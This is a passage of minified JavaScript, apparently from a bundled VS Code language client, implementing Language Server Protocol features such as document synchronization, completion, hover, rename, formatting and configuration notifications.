on{constructor(e,t){super(e,V.workspace.onDidCloseTextDocument,T.DidCloseTextDocumentNotification.type,e.clientOptions.middleware.didClose,n=>e.code2ProtocolConverter.asCloseTextDocumentParams(n),on.textDocumentFilter);this._syncedDocuments=t}get registrationType(){return T.DidCloseTextDocumentNotification.type}fillClientCapabilities(e){ne(ne(e,"textDocument"),"synchronization").dynamicRegistration=!0}initialize(e,t){let n=e.resolvedTextDocumentSync;t&&n&&n.openClose&&this.register({id:Oe.generateUuid(),registerOptions:{documentSelector:t}})}notificationSent(e,t,n){super.notificationSent(e,t,n),this._syncedDocuments.delete(e.uri.toString())}unregister(e){let t=this._selectors.get(e);super.unregister(e);let n=this._selectors.values();this._syncedDocuments.forEach(i=>{if(V.languages.match(t,i)&&!this._selectorFilter(n,i)){let s=this._client.clientOptions.middleware,a=l=>{this._client.sendNotification(this._type,this._createParams(l)).catch(u=>{this._client.error(`Sending document notification ${this._type.method} failed`,u)})};this._syncedDocuments.delete(i.uri.toString()),s.didClose?s.didClose(i,a):a(i)}})}},xm=class{constructor(e){this._client=e,this._changeData=new Map,this._forcingDelivery=!1,this._onNotificationSent=new V.EventEmitter}get registrationType(){return T.DidChangeTextDocumentNotification.type}fillClientCapabilities(e){ne(ne(e,"textDocument"),"synchronization").dynamicRegistration=!0}initialize(e,t){let n=e.resolvedTextDocumentSync;t&&n&&n.change!==void 0&&n.change!==T.TextDocumentSyncKind.None&&this.register({id:Oe.generateUuid(),registerOptions:Object.assign({},{documentSelector:t},{syncKind:n.change})})}register(e){!e.registerOptions.documentSelector||(this._listener||(this._listener=V.workspace.onDidChangeTextDocument(this.callback,this)),this._changeData.set(e.id,{documentSelector:e.registerOptions.documentSelector,syncKind:e.registerOptions.syncKind}))}callback(e){if(e.contentChanges.length!==0){for(let t of this._changeData.values())if(V.languages.match(t.documentSelector,e.document)){let n=this._client.clientOptions.middleware;if(t.syncKind===T.TextDocumentSyncKind.Incremental){let i=s=>{let a=this._client.code2ProtocolConverter.asChangeTextDocumentParams(s);this._client.sendNotification(T.DidChangeTextDocumentNotification.type,a).catch(l=>{this._client.error(`Sending document notification ${T.DidChangeTextDocumentNotification.type.method} failed`,l)}),this.notificationSent(s,T.DidChangeTextDocumentNotification.type,a)};n.didChange?n.didChange(e,s=>i(s)):i(e)}else if(t.syncKind===T.TextDocumentSyncKind.Full){let i=s=>{let a=l=>{let u=this._client.code2ProtocolConverter.asChangeTextDocumentParams(l.document);this._client.sendNotification(T.DidChangeTextDocumentNotification.type,u).catch(g=>{this._client.error(`Sending document notification ${T.DidChangeTextDocumentNotification.type.method} failed`,g)}),this.notificationSent(l,T.DidChangeTextDocumentNotification.type,u)};this._changeDelayer?(this._changeDelayer.uri!==s.document.uri.toString()&&(this.forceDelivery(),this._changeDelayer.uri=s.document.uri.toString()),this._changeDelayer.delayer.trigger(()=>a(s))):(this._changeDelayer={uri:s.document.uri.toString(),delayer:new Rm.Delayer(200)},this._changeDelayer.delayer.trigger(()=>a(s),-1))};n.didChange?n.didChange(e,s=>i(s)):i(e)}}}}get onNotificationSent(){return this._onNotificationSent.event}notificationSent(e,t,n){this._onNotificationSent.fire({original:e,type:t,params:n})}unregister(e){this._changeData.delete(e),this._changeData.size===0&&this._listener&&(this._listener.dispose(),this._listener=void 0)}dispose(){this._changeDelayer=void 0,this._forcingDelivery=!1,this._changeData.clear(),this._listener&&(this._listener.dispose(),this._listener=void 0)}forceDelivery(){if(!(this._forcingDelivery||!this._changeDelayer))try{this._forcingDelivery=!0,this._changeDelayer.delayer.forceDelivery()}finally{this._forcingDelivery=!1}}getProvider(e){for(let t of this._changeData.values())if(V.languages.match(t.documentSelector,e))return{send:n=>{this.callback(n)}}}},km=class extends on{constructor(e){super(e,V.workspace.onWillSaveTextDocument,T.WillSaveTextDocumentNotification.type,e.clientOptions.middleware.willSave,t=>e.code2ProtocolConverter.asWillSaveTextDocumentParams(t),(t,n)=>on.textDocumentFilter(t,n.document))}get registrationType(){return T.WillSaveTextDocumentNotification.type}fillClientCapabilities(e){let t=ne(ne(e,"textDocument"),"synchronization");t.willSave=!0}initialize(e,t){let n=e.resolvedTextDocumentSync;t&&n&&n.willSave&&this.register({id:Oe.generateUuid(),registerOptions:{documentSelector:t}})}},qm=class{constructor(e){this._client=e,this._selectors=new Map}get registrationType(){return T.WillSaveTextDocumentWaitUntilRequest.type}fillClientCapabilities(e){let t=ne(ne(e,"textDocument"),"synchronization");t.willSaveWaitUntil=!0}initialize(e,t){let n=e.resolvedTextDocumentSync;t&&n&&n.willSaveWaitUntil&&this.register({id:Oe.generateUuid(),registerOptions:{documentSelector:t}})}register(e){!e.registerOptions.documentSelector||(this._listener||(this._listener=V.workspace.onWillSaveTextDocument(this.callback,this)),this._selectors.set(e.id,e.registerOptions.documentSelector))}callback(e){if(on.textDocumentFilter(this._selectors.values(),e.document)){let t=this._client.clientOptions.middleware,n=i=>this._client.sendRequest(T.WillSaveTextDocumentWaitUntilRequest.type,this._client.code2ProtocolConverter.asWillSaveTextDocumentParams(i)).then(s=>{let a=this._client.protocol2CodeConverter.asTextEdits(s);return a===void 0?[]:a});e.waitUntil(t.willSaveWaitUntil?t.willSaveWaitUntil(e,n):n(e))}}unregister(e){this._selectors.delete(e),this._selectors.size===0&&this._listener&&(this._listener.dispose(),this._listener=void 0)}dispose(){this._selectors.clear(),this._listener&&(this._listener.dispose(),this._listener=void 0)}},Om=class extends on{constructor(e){super(e,V.workspace.onDidSaveTextDocument,T.DidSaveTextDocumentNotification.type,e.clientOptions.middleware.didSave,t=>e.code2ProtocolConverter.asSaveTextDocumentParams(t,this._includeText),on.textDocumentFilter);this._includeText=!1}get registrationType(){return T.DidSaveTextDocumentNotification.type}fillClientCapabilities(e){ne(ne(e,"textDocument"),"synchronization").didSave=!0}initialize(e,t){let n=e.resolvedTextDocumentSync;if(t&&n&&n.save){let i=typeof n.save=="boolean"?{includeText:!1}:{includeText:!!n.save.includeText};this.register({id:Oe.generateUuid(),registerOptions:Object.assign({},{documentSelector:t},i)})}}register(e){this._includeText=!!e.registerOptions.includeText,super.register(e)}},Am=class{constructor(e,t){this._client=e,this._notifyFileEvent=t,this._watchers=new Map}get registrationType(){return T.DidChangeWatchedFilesNotification.type}fillClientCapabilities(e){ne(ne(e,"workspace"),"didChangeWatchedFiles").dynamicRegistration=!0}initialize(e,t){}register(e){if(!Array.isArray(e.registerOptions.watchers))return;let t=[];for(let n of e.registerOptions.watchers){if(!qe.string(n.globPattern))continue;let i=!0,s=!0,a=!0;n.kind!==void 0&&n.kind!==null&&(i=(n.kind&T.WatchKind.Create)!=0,s=(n.kind&T.WatchKind.Change)!=0,a=(n.kind&T.WatchKind.Delete)!=0);let l=V.workspace.createFileSystemWatcher(n.globPattern,!i,!s,!a);this.hookListeners(l,i,s,a),t.push(l)}this._watchers.set(e.id,t)}registerRaw(e,t){let n=[];for(let i of t)this.hookListeners(i,!0,!0,!0,n);this._watchers.set(e,n)}hookListeners(e,t,n,i,s){t&&e.onDidCreate(a=>this._notifyFileEvent({uri:this._client.code2ProtocolConverter.asUri(a),type:T.FileChangeType.Created}),null,s),n&&e.onDidChange(a=>this._notifyFileEvent({uri:this._client.code2ProtocolConverter.asUri(a),type:T.FileChangeType.Changed}),null,s),i&&e.onDidDelete(a=>this._notifyFileEvent({uri:this._client.code2ProtocolConverter.asUri(a),type:T.FileChangeType.Deleted}),null,s)}unregister(e){let t=this._watchers.get(e);if(t)for(let n of t)n.dispose()}dispose(){this._watchers.forEach(e=>{for(let t of e)t.dispose()}),this._watchers.clear()}},Mt=class{constructor(e,t){this._client=e,this._registrationType=t,this._registrations=new Map}get registrationType(){return this._registrationType}register(e){if(!e.registerOptions.documentSelector)return;let t=this.registerLanguageProvider(e.registerOptions,e.id);this._registrations.set(e.id,{disposable:t[0],data:e,provider:t[1]})}unregister(e){let t=this._registrations.get(e);t!==void 0&&t.disposable.dispose()}dispose(){this._registrations.forEach(e=>{e.disposable.dispose()}),this._registrations.clear()}getRegistration(e,t){if(t){if(T.TextDocumentRegistrationOptions.is(t)){let n=T.StaticRegistrationOptions.hasId(t)?t.id:Oe.generateUuid(),i=t.documentSelector||e;if(i)return[n,Object.assign({},t,{documentSelector:i})]}else if(qe.boolean(t)&&t===!0||T.WorkDoneProgressOptions.is(t)){if(!e)return[void 0,void 0];let n=qe.boolean(t)&&t===!0?{documentSelector:e}:Object.assign({},t,{documentSelector:e});return[Oe.generateUuid(),n]}}else return[void 0,void 0];return[void 0,void 0]}getRegistrationOptions(e,t){if(!(!e||!t))return qe.boolean(t)&&t===!0?{documentSelector:e}:Object.assign({},t,{documentSelector:e})}getProvider(e){for(let t of this._registrations.values()){let n=t.data.registerOptions.documentSelector;if(n!==null&&V.languages.match(n,e))return t.provider}}getAllProviders(){let e=[];for(let t of this._registrations.values())e.push(t.provider);return e}};Ne.TextDocumentFeature=Mt;var Fm=class{constructor(e,t){this._client=e,this._registrationType=t,this._registrations=new Map}get registrationType(){return this._registrationType}register(e){let t=this.registerLanguageProvider(e.registerOptions);this._registrations.set(e.id,{disposable:t[0],provider:t[1]})}unregister(e){let t=this._registrations.get(e);t!==void 0&&t.disposable.dispose()}dispose(){this._registrations.forEach(e=>{e.disposable.dispose()}),this._registrations.clear()}getProviders(){let e=[];for(let t of this._registrations.values())e.push(t.provider);return e}},Im=class extends Mt{constructor(e){super(e,T.CompletionRequest.type);this.labelDetailsSupport=new Map}fillClientCapabilities(e){let t=ne(ne(e,"textDocument"),"completion");t.dynamicRegistration=!0,t.contextSupport=!0,t.completionItem={snippetSupport:!0,commitCharactersSupport:!0,documentationFormat:[T.MarkupKind.Markdown,T.MarkupKind.PlainText],deprecatedSupport:!0,preselectSupport:!0,tagSupport:{valueSet:[T.CompletionItemTag.Deprecated]},insertReplaceSupport:!0,resolveSupport:{properties:["documentation","detail","additionalTextEdits"]},insertTextModeSupport:{valueSet:[T.InsertTextMode.asIs,T.InsertTextMode.adjustIndentation]},labelDetailsSupport:!0},t.insertTextMode=T.InsertTextMode.adjustIndentation,t.completionItemKind={valueSet:NE}}initialize(e,t){let n=this.getRegistrationOptions(t,e.completionProvider);!n||this.register({id:Oe.generateUuid(),registerOptions:n})}registerLanguageProvider(e,t){var n;this.labelDetailsSupport.set(t,!!((n=e.completionItem)===null||n===void 0?void 0:n.labelDetailsSupport));let i=e.triggerCharacters||[],s={provideCompletionItems:(a,l,u,g)=>{let v=this._client,b=this._client.clientOptions.middleware,C=(w,E,q,N)=>v.sendRequest(T.CompletionRequest.type,v.code2ProtocolConverter.asCompletionParams(w,E,q),N).then(v.protocol2CodeConverter.asCompletionResult,A=>v.handleFailedRequest(T.CompletionRequest.type,N,A,null));return b.provideCompletionItem?b.provideCompletionItem(a,l,g,u,C):C(a,l,g,u)},resolveCompletionItem:e.resolveProvider?(a,l)=>{let u=this._client,g=this._client.clientOptions.middleware,v=(b,C)=>u.sendRequest(T.CompletionResolveRequest.type,u.code2ProtocolConverter.asCompletionItem(b,!!this.labelDetailsSupport.get(t)),C).then(u.protocol2CodeConverter.asCompletionItem,w=>u.handleFailedRequest(T.CompletionResolveRequest.type,C,w,b));return g.resolveCompletionItem?g.resolveCompletionItem(a,l,v):v(a,l)}:void 0};return[V.languages.registerCompletionItemProvider(e.documentSelector,s,...i),s]}},Lm=class extends Mt{constructor(e){super(e,T.HoverRequest.type)}fillClientCapabilities(e){let t=ne(ne(e,"textDocument"),"hover");t.dynamicRegistration=!0,t.contentFormat=[T.MarkupKind.Markdown,T.MarkupKind.PlainText]}initialize(e,t){let n=this.getRegistrationOptions(t,e.hoverProvider);!n||this.register({id:Oe.generateUuid(),registerOptions:n})}registerLanguageProvider(e){let t={provideHover:(n,i,s)=>{let a=this._client,l=(g,v,b)=>a.sendRequest(T.HoverRequest.type,a.code2ProtocolConverter.asTextDocumentPositionParams(g,v),b).then(a.protocol2CodeConverter.asHover,C=>a.handleFailedRequest(T.HoverRequest.type,b,C,null)),u=a.clientOptions.middleware;return u.provideHover?u.provideHover(n,i,s,l):l(n,i,s)}};return[V.languages.registerHoverProvider(e.documentSelector,t),t]}},Nm=class extends Mt{constructor(e){super(e,T.SignatureHelpRequest.type)}fillClientCapabilities(e){let t=ne(ne(e,"textDocument"),"signatureHelp");t.dynamicRegistration=!0,t.signatureInformation={documentationFormat:[T.MarkupKind.Markdown,T.MarkupKind.PlainText]},t.signatureInformation.parameterInformation={labelOffsetSupport:!0},t.signatureInformation.activeParameterSupport=!0,t.contextSupport=!0}initialize(e,t){let n=this.getRegistrationOptions(t,e.signatureHelpProvider);!n||this.register({id:Oe.generateUuid(),registerOptions:n})}registerLanguageProvider(e){let t={provideSignatureHelp:(i,s,a,l)=>{let u=this._client,g=(b,C,w,E)=>u.sendRequest(T.SignatureHelpRequest.type,u.code2ProtocolConverter.asSignatureHelpParams(b,C,w),E).then(u.protocol2CodeConverter.asSignatureHelp,q=>u.handleFailedRequest(T.SignatureHelpRequest.type,E,q,null)),v=u.clientOptions.middleware;return v.provideSignatureHelp?v.provideSignatureHelp(i,s,l,a,g):g(i,s,l,a)}},n;if(e.retriggerCharacters===void 0){let i=e.triggerCharacters||[];n=V.languages.registerSignatureHelpProvider(e.documentSelector,t,...i)}else{let i={triggerCharacters:e.triggerCharacters||[],retriggerCharacters:e.retriggerCharacters||[]};n=V.languages.registerSignatureHelpProvider(e.documentSelector,t,i)}return[n,t]}},Mm=class extends Mt{constructor(e){super(e,T.DefinitionRequest.type)}fillClientCapabilities(e){let t=ne(ne(e,"textDocument"),"definition");t.dynamicRegistration=!0,t.linkSupport=!0}initialize(e,t){let n=this.getRegistrationOptions(t,e.definitionProvider);!n||this.register({id:Oe.generateUuid(),registerOptions:n})}registerLanguageProvider(e){let t={provideDefinition:(n,i,s)=>{let a=this._client,l=(g,v,b)=>a.sendRequest(T.DefinitionRequest.type,a.code2ProtocolConverter.asTextDocumentPositionParams(g,v),b).then(a.protocol2CodeConverter.asDefinitionResult,C=>a.handleFailedRequest(T.DefinitionRequest.type,b,C,null)),u=a.clientOptions.middleware;return u.provideDefinition?u.provideDefinition(n,i,s,l):l(n,i,s)}};return[V.languages.registerDefinitionProvider(e.documentSelector,t),t]}},jm=class extends Mt{constructor(e){super(e,T.ReferencesRequest.type)}fillClientCapabilities(e){ne(ne(e,"textDocument"),"references").dynamicRegistration=!0}initialize(e,t){let n=this.getRegistrationOptions(t,e.referencesProvider);!n||this.register({id:Oe.generateUuid(),registerOptions:n})}registerLanguageProvider(e){let t={provideReferences:(n,i,s,a)=>{let l=this._client,u=(v,b,C,w)=>l.sendRequest(T.ReferencesRequest.type,l.code2ProtocolConverter.asReferenceParams(v,b,C),w).then(l.protocol2CodeConverter.asReferences,E=>l.handleFailedRequest(T.ReferencesRequest.type,w,E,null)),g=l.clientOptions.middleware;return g.provideReferences?g.provideReferences(n,i,s,a,u):u(n,i,s,a)}};return[V.languages.registerReferenceProvider(e.documentSelector,t),t]}},$m=class extends Mt{constructor(e){super(e,T.DocumentHighlightRequest.type)}fillClientCapabilities(e){ne(ne(e,"textDocument"),"documentHighlight").dynamicRegistration=!0}initialize(e,t){let n=this.getRegistrationOptions(t,e.documentHighlightProvider);!n||this.register({id:Oe.generateUuid(),registerOptions:n})}registerLanguageProvider(e){let t={provideDocumentHighlights:(n,i,s)=>{let a=this._client,l=(g,v,b)=>a.sendRequest(T.DocumentHighlightRequest.type,a.code2ProtocolConverter.asTextDocumentPositionParams(g,v),b).then(a.protocol2CodeConverter.asDocumentHighlights,C=>a.handleFailedRequest(T.DocumentHighlightRequest.type,b,C,null)),u=a.clientOptions.middleware;return u.provideDocumentHighlights?u.provideDocumentHighlights(n,i,s,l):l(n,i,s)}};return[V.languages.registerDocumentHighlightProvider(e.documentSelector,t),t]}},Wm=class extends Mt{constructor(e){super(e,T.DocumentSymbolRequest.type)}fillClientCapabilities(e){let t=ne(ne(e,"textDocument"),"documentSymbol");t.dynamicRegistration=!0,t.symbolKind={valueSet:Tm},t.hierarchicalDocumentSymbolSupport=!0,t.tagSupport={valueSet:Pm},t.labelSupport=!0}initialize(e,t){let n=this.getRegistrationOptions(t,e.documentSymbolProvider);!n||this.register({id:Oe.generateUuid(),registerOptions:n})}registerLanguageProvider(e){let t={provideDocumentSymbols:(i,s)=>{let a=this._client,l=(g,v)=>a.sendRequest(T.DocumentSymbolRequest.type,a.code2ProtocolConverter.asDocumentSymbolParams(g),v).then(b=>{if(b!==null){if(b.length===0)return[];{let C=b[0];return T.DocumentSymbol.is(C)?a.protocol2CodeConverter.asDocumentSymbols(b):a.protocol2CodeConverter.asSymbolInformations(b)}}},b=>a.handleFailedRequest(T.DocumentSymbolRequest.type,v,b,null)),u=a.clientOptions.middleware;return u.provideDocumentSymbols?u.provideDocumentSymbols(i,s,l):l(i,s)}},n=e.label!==void 0?{label:e.label}:void 0;return[V.languages.registerDocumentSymbolProvider(e.documentSelector,t,n),t]}},Hm=class extends Fm{constructor(e){super(e,T.WorkspaceSymbolRequest.type)}fillClientCapabilities(e){let t=ne(ne(e,"workspace"),"symbol");t.dynamicRegistration=!0,t.symbolKind={valueSet:Tm},t.tagSupport={valueSet:Pm}}initialize(e){!e.workspaceSymbolProvider||this.register({id:Oe.generateUuid(),registerOptions:e.workspaceSymbolProvider===!0?{workDoneProgress:!1}:e.workspaceSymbolProvider})}registerLanguageProvider(e){let t={provideWorkspaceSymbols:(n,i)=>{let s=this._client,a=(u,g)=>s.sendRequest(T.WorkspaceSymbolRequest.type,{query:u},g).then(s.protocol2CodeConverter.asSymbolInformations,v=>s.handleFailedRequest(T.WorkspaceSymbolRequest.type,g,v,null)),l=s.clientOptions.middleware;return l.provideWorkspaceSymbols?l.provideWorkspaceSymbols(n,i,a):a(n,i)}};return[V.languages.registerWorkspaceSymbolProvider(t),t]}},zm=class extends Mt{constructor(e){super(e,T.CodeActionRequest.type)}fillClientCapabilities(e){let t=ne(ne(e,"textDocument"),"codeAction");t.dynamicRegistration=!0,t.isPreferredSupport=!0,t.disabledSupport=!0,t.dataSupport=!0,t.resolveSupport={properties:["edit"]},t.codeActionLiteralSupport={codeActionKind:{valueSet:[T.CodeActionKind.Empty,T.CodeActionKind.QuickFix,T.CodeActionKind.Refactor,T.CodeActionKind.RefactorExtract,T.CodeActionKind.RefactorInline,T.CodeActionKind.RefactorRewrite,T.CodeActionKind.Source,T.CodeActionKind.SourceOrganizeImports]}},t.honorsChangeAnnotations=!1}initialize(e,t){let n=this.getRegistrationOptions(t,e.codeActionProvider);!n||this.register({id:Oe.generateUuid(),registerOptions:n})}registerLanguageProvider(e){let t={provideCodeActions:(n,i,s,a)=>{let l=this._client,u=(v,b,C,w)=>{let E={textDocument:l.code2ProtocolConverter.asTextDocumentIdentifier(v),range:l.code2ProtocolConverter.asRange(b),context:l.code2ProtocolConverter.asCodeActionContext(C)};return l.sendRequest(T.CodeActionRequest.type,E,w).then(q=>{if(q===null)return;let N=[];for(let A of q)T.Command.is(A)?N.push(l.protocol2CodeConverter.asCommand(A)):N.push(l.protocol2CodeConverter.asCodeAction(A));return N},q=>l.handleFailedRequest(T.CodeActionRequest.type,w,q,null))},g=l.clientOptions.middleware;return g.provideCodeActions?g.provideCodeActions(n,i,s,a,u):u(n,i,s,a)},resolveCodeAction:e.resolveProvider?(n,i)=>{let s=this._client,a=this._client.clientOptions.middleware,l=(u,g)=>s.sendRequest(T.CodeActionResolveRequest.type,s.code2ProtocolConverter.asCodeAction(u),g).then(s.protocol2CodeConverter.asCodeAction,v=>s.handleFailedRequest(T.CodeActionResolveRequest.type,g,v,u));return a.resolveCodeAction?a.resolveCodeAction(n,i,l):l(n,i)}:void 0};return[V.languages.registerCodeActionsProvider(e.documentSelector,t,e.codeActionKinds?{providedCodeActionKinds:this._client.protocol2CodeConverter.asCodeActionKinds(e.codeActionKinds)}:void 0),t]}},Bm=class extends Mt{constructor(e){super(e,T.CodeLensRequest.type)}fillClientCapabilities(e){ne(ne(e,"textDocument"),"codeLens").dynamicRegistration=!0,ne(ne(e,"workspace"),"codeLens").refreshSupport=!0}initialize(e,t){this._client.onRequest(T.CodeLensRefreshRequest.type,async()=>{for(let s of this.getAllProviders())s.onDidChangeCodeLensEmitter.fire()});let i=this.getRegistrationOptions(t,e.codeLensProvider);!i||this.register({id:Oe.generateUuid(),registerOptions:i})}registerLanguageProvider(e){let t=new V.EventEmitter,n={onDidChangeCodeLenses:t.event,provideCodeLenses:(i,s)=>{let a=this._client,l=(g,v)=>a.sendRequest(T.CodeLensRequest.type,a.code2ProtocolConverter.asCodeLensParams(g),v).then(a.protocol2CodeConverter.asCodeLenses,b=>a.handleFailedRequest(T.CodeLensRequest.type,v,b,null)),u=a.clientOptions.middleware;return u.provideCodeLenses?u.provideCodeLenses(i,s,l):l(i,s)},resolveCodeLens:e.resolveProvider?(i,s)=>{let a=this._client,l=(g,v)=>a.sendRequest(T.CodeLensResolveRequest.type,a.code2ProtocolConverter.asCodeLens(g),v).then(a.protocol2CodeConverter.asCodeLens,b=>a.handleFailedRequest(T.CodeLensResolveRequest.type,v,b,g)),u=a.clientOptions.middleware;return u.resolveCodeLens?u.resolveCodeLens(i,s,l):l(i,s)}:void 0};return[V.languages.registerCodeLensProvider(e.documentSelector,n),{provider:n,onDidChangeCodeLensEmitter:t}]}},Um=class extends Mt{constructor(e){super(e,T.DocumentFormattingRequest.type)}fillClientCapabilities(e){ne(ne(e,"textDocument"),"formatting").dynamicRegistration=!0}initialize(e,t){let n=this.getRegistrationOptions(t,e.documentFormattingProvider);!n||this.register({id:Oe.generateUuid(),registerOptions:n})}registerLanguageProvider(e){let t={provideDocumentFormattingEdits:(n,i,s)=>{let a=this._client,l=(g,v,b)=>{let C={textDocument:a.code2ProtocolConverter.asTextDocumentIdentifier(g),options:a.code2ProtocolConverter.asFormattingOptions(v,ss.fromConfiguration(g))};return a.sendRequest(T.DocumentFormattingRequest.type,C,b).then(a.protocol2CodeConverter.asTextEdits,w=>a.handleFailedRequest(T.DocumentFormattingRequest.type,b,w,null))},u=a.clientOptions.middleware;return u.provideDocumentFormattingEdits?u.provideDocumentFormattingEdits(n,i,s,l):l(n,i,s)}};return[V.languages.registerDocumentFormattingEditProvider(e.documentSelector,t),t]}},Km=class extends Mt{constructor(e){super(e,T.DocumentRangeFormattingRequest.type)}fillClientCapabilities(e){ne(ne(e,"textDocument"),"rangeFormatting").dynamicRegistration=!0}initialize(e,t){let n=this.getRegistrationOptions(t,e.documentRangeFormattingProvider);!n||this.register({id:Oe.generateUuid(),registerOptions:n})}registerLanguageProvider(e){let t={provideDocumentRangeFormattingEdits:(n,i,s,a)=>{let l=this._client,u=(v,b,C,w)=>{let E={textDocument:l.code2ProtocolConverter.asTextDocumentIdentifier(v),range:l.code2ProtocolConverter.asRange(b),options:l.code2ProtocolConverter.asFormattingOptions(C,ss.fromConfiguration(v))};return l.sendRequest(T.DocumentRangeFormattingRequest.type,E,w).then(l.protocol2CodeConverter.asTextEdits,q=>l.handleFailedRequest(T.DocumentRangeFormattingRequest.type,w,q,null))},g=l.clientOptions.middleware;return g.provideDocumentRangeFormattingEdits?g.provideDocumentRangeFormattingEdits(n,i,s,a,u):u(n,i,s,a)}};return[V.languages.registerDocumentRangeFormattingEditProvider(e.documentSelector,t),t]}},Gm=class extends Mt{constructor(e){super(e,T.DocumentOnTypeFormattingRequest.type)}fillClientCapabilities(e){ne(ne(e,"textDocument"),"onTypeFormatting").dynamicRegistration=!0}initialize(e,t){let n=this.getRegistrationOptions(t,e.documentOnTypeFormattingProvider);!n||this.register({id:Oe.generateUuid(),registerOptions:n})}registerLanguageProvider(e){let t={provideOnTypeFormattingEdits:(i,s,a,l,u)=>{let g=this._client,v=(C,w,E,q,N)=>{let A={textDocument:g.code2ProtocolConverter.asTextDocumentIdentifier(C),position:g.code2ProtocolConverter.asPosition(w),ch:E,options:g.code2ProtocolConverter.asFormattingOptions(q,ss.fromConfiguration(C))};return g.sendRequest(T.DocumentOnTypeFormattingRequest.type,A,N).then(g.protocol2CodeConverter.asTextEdits,H=>g.handleFailedRequest(T.DocumentOnTypeFormattingRequest.type,N,H,null))},b=g.clientOptions.middleware;return b.provideOnTypeFormattingEdits?b.provideOnTypeFormattingEdits(i,s,a,l,u,v):v(i,s,a,l,u)}},n=e.moreTriggerCharacter||[];return[V.languages.registerOnTypeFormattingEditProvider(e.documentSelector,t,e.firstTriggerCharacter,...n),t]}},Vm=class extends Mt{constructor(e){super(e,T.RenameRequest.type)}fillClientCapabilities(e){let t=ne(ne(e,"textDocument"),"rename");t.dynamicRegistration=!0,t.prepareSupport=!0,t.prepareSupportDefaultBehavior=T.PrepareSupportDefaultBehavior.Identifier,t.honorsChangeAnnotations=!0}initialize(e,t){let n=this.getRegistrationOptions(t,e.renameProvider);!n||(qe.boolean(e.renameProvider)&&(n.prepareProvider=!1),this.register({id:Oe.generateUuid(),registerOptions:n}))}registerLanguageProvider(e){let t={provideRenameEdits:(n,i,s,a)=>{let l=this._client,u=(v,b,C,w)=>{let E={textDocument:l.code2ProtocolConverter.asTextDocumentIdentifier(v),position:l.code2ProtocolConverter.asPosition(b),newName:C};return l.sendRequest(T.RenameRequest.type,E,w).then(l.protocol2CodeConverter.asWorkspaceEdit,q=>l.handleFailedRequest(T.RenameRequest.type,w,q,null))},g=l.clientOptions.middleware;return g.provideRenameEdits?g.provideRenameEdits(n,i,s,a,u):u(n,i,s,a)},prepareRename:e.prepareProvider?(n,i,s)=>{let a=this._client,l=(g,v,b)=>{let C={textDocument:a.code2ProtocolConverter.asTextDocumentIdentifier(g),position:a.code2ProtocolConverter.asPosition(v)};return a.sendRequest(T.PrepareRenameRequest.type,C,b).then(w=>T.Range.is(w)?a.protocol2CodeConverter.asRange(w):this.isDefaultBehavior(w)?w.defaultBehavior===!0?null:Promise.reject(new Error("The element can't be renamed.")):w&&T.Range.is(w.range)?{range:a.protocol2CodeConverter.asRange(w.range),placeholder:w.placeholder}:Promise.reject(new Error("The element can't be renamed.")),w=>{throw typeof w.message=="string"?new Error(w.message):new Error("The element can't be renamed.")})},u=a.clientOptions.middleware;return u.prepareRename?u.prepareRename(n,i,s,l):l(n,i,s)}:void 0};return[V.languages.registerRenameProvider(e.documentSelector,t),t]}isDefaultBehavior(e){let t=e;return t&&qe.boolean(t.defaultBehavior)}},Ym=class extends Mt{constructor(e){super(e,T.DocumentLinkRequest.type)}fillClientCapabilities(e){let t=ne(ne(e,"textDocument"),"documentLink");t.dynamicRegistration=!0,t.tooltipSupport=!0}initialize(e,t){let n=this.getRegistrationOptions(t,e.documentLinkProvider);!n||this.register({id:Oe.generateUuid(),registerOptions:n})}registerLanguageProvider(e){let t={provideDocumentLinks:(n,i)=>{let s=this._client,a=(u,g)=>s.sendRequest(T.DocumentLinkRequest.type,s.code2ProtocolConverter.asDocumentLinkParams(u),g).then(s.protocol2CodeConverter.asDocumentLinks,v=>s.handleFailedRequest(T.DocumentLinkRequest.type,g,v,null)),l=s.clientOptions.middleware;return l.provideDocumentLinks?l.provideDocumentLinks(n,i,a):a(n,i)},resolveDocumentLink:e.resolveProvider?(n,i)=>{let s=this._client,a=(u,g)=>s.sendRequest(T.DocumentLinkResolveRequest.type,s.code2ProtocolConverter.asDocumentLink(u),g).then(s.protocol2CodeConverter.asDocumentLink,v=>s.handleFailedRequest(T.DocumentLinkResolveRequest.type,g,v,u)),l=s.clientOptions.middleware;return l.resolveDocumentLink?l.resolveDocumentLink(n,i,a):a(n,i)}:void 0};return[V.languages.registerDocumentLinkProvider(e.documentSelector,t),t]}},Xm=class{constructor(e){this._client=e,this._listeners=new Map}get registrationType(){return T.DidChangeConfigurationNotification.type}fillClientCapabilities(e){ne(ne(e,"workspace"),"didChangeConfiguration").dynamicRegistration=!0}initialize(){let e=this._client.clientOptions.synchronize.configurationSection;e!==void 0&&this.register({id:Oe.generateUuid(),registerOptions:{section:e}})}register(e){let t=V.workspace.onDidChangeConfiguration(n=>{this.onDidChangeConfiguration(e.registerOptions.section,n)});this._listeners.set(e.id,t),e.registerOptions.section!==void 0&&this.onDidChangeConfiguration(e.registerOptions.section,void 0)}unregister(e){let t=this._listeners.get(e);t&&(this._listeners.delete(e),t.dispose())}dispose(){for(let e of this._listeners.values())e.dispose();this._listeners.clear()}onDidChangeConfiguration(e,t){let n;if(qe.string(e)?n=[e]:n=e,n!==void 0&&t!==void 0&&!n.some(l=>t.affectsConfiguration(l)))return;let i=a=>{if(a===void 0){this._client.sendNotification(T.DidChangeConfigurationNotification.type,{settings:null}).catch(l=>{this._client.error(`Sending notification ${T.DidChangeConfigurationNotification.type.method} failed`,l)});return}this._client.sendNotification(T.DidChangeConfigurationNotification.type,{settings:this.extractSettingsInformation(a)}).catch(l=>{this._client.error(`Sending notification ${T.DidChangeConfigurationNotification.type.method} failed`,l)})},s=this.getMiddleware();s?s(n,i):i(n)}extractSettingsInformation(e){function t(s,a){let l=s;for(let u=0;u<a.length-1;u++){let g=l[a[u]];g||(g=Object.create(null),l[a[u]]=g),l=g}return l}let n=this._client.clientOptions.workspaceFolder?this._client.clientOptions.workspaceFolder.uri:void 0,i=Object.create(null);for(let s=0;s<e.length;s++){let a=e[s],l=a.indexOf("."),u=null;if(l>=0?u=V.workspace.getConfiguration(a.substr(0,l),n).get(a.substr(l+1)):u=V.workspace.getConfiguration(void 0,n).get(a),u){let g=e[s].split(".");t(i,g)[g[g.length-1]]=qE.toJSONObject(u)}}return i}getMiddleware(){let e=this._client.clientOptions.middleware;if(e.workspace&&e.workspace.didChangeConfiguration)return e.workspace.didChangeConfiguration}},Qm=class{constructor(e){this._client=e,this._commands=new Map}get registrationType(){return 